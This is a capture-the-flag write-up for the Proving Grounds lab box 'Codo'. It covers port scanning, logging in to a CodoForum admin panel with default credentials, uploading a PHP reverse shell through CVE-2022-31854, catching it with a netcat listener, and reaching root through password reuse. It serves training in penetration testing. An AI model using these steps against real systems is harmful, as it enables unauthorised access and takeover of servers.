Skip to content
HackIndex.io

Codo Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

Codo runs CodoForum v5.1 with the default admin credentials. That build is vulnerable to CVE-2022-31854, an authenticated file-upload that bypasses extension checks and executes PHP in the attachments directory, giving a shell as www-data. The web config leaks database credentials that are reused for the root account.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Only SSH and HTTP are open, so the web app on port 80 is the target. Fuzz it for directories.

Directory discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://$TARGET_IP/ 
[200]  /admin/                                   # CodoForum admin login
[301]  /cache/
[301]  /sites/default/assets/img/attachments/     # upload destination

The /admin/ path is a CodoForum admin login and /sites/default/assets/img/attachments/ is the upload destination.

Enumeration

Port 80 runs CodoForum v5.1, a PHP forum CMS. The admin panel at /admin/ accepts the default credentials admin:admin. CodoForum v5.1 is vulnerable to CVE-2022-31854, an authenticated arbitrary file upload that bypasses extension restrictions and runs PHP from the attachments directory.

Exploitation

CodoForum file-upload RCE (CVE-2022-31854)

From the admin panel, upload a PHP reverse shell through the forum's file attachment feature. It lands in the attachments directory, which executes PHP. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

Browse to the uploaded payload at http://$TARGET_IP/sites/default/assets/img/attachments/payload.php to trigger it. The listener catches a shell as www-data.

Privilege Escalation

Database credential reuse

Enumerate the CodoForum configuration files, which hold database credentials codo:$CODO_PASSWORD. Try that password against the root account.

┌──(kali㉿kali)-[~]
└─$ su - 
Password:
root@codo:~# id
uid=0(root) gid=0(root) groups=0(root)

The database password is reused for root, giving a root shell.

Related

File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
CMS Detection and Fingerprinting
Blog

CMS Detection and Fingerprinting

Identifies CMS platforms (WordPress, Joomla, Drupal) via HTTP responses, meta tags, file paths, and...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...

References